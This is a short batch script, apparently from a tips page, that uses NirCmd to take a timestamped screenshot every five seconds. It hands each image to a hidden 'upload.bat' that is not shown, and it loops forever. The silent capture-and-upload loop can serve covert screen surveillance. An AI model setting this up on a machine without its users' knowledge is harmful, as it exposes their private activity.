Take screenshots at regular intervals with NirCmd

screenshot.bat

set delay=5000
:loop
for /f "tokens=2 delims==" %%I in ('wmic os get localdatetime /format:list') do set datetime=%%I
set datetime=%datetime:~0,8%-%datetime:~8,6%
nircmd.exe savescreenshot "%datetime%.png"
nircmd.exe exec hide upload.bat "%datetime%.png"
ping 1.0.0.0 -n 1 -w %delay% >nul
goto loop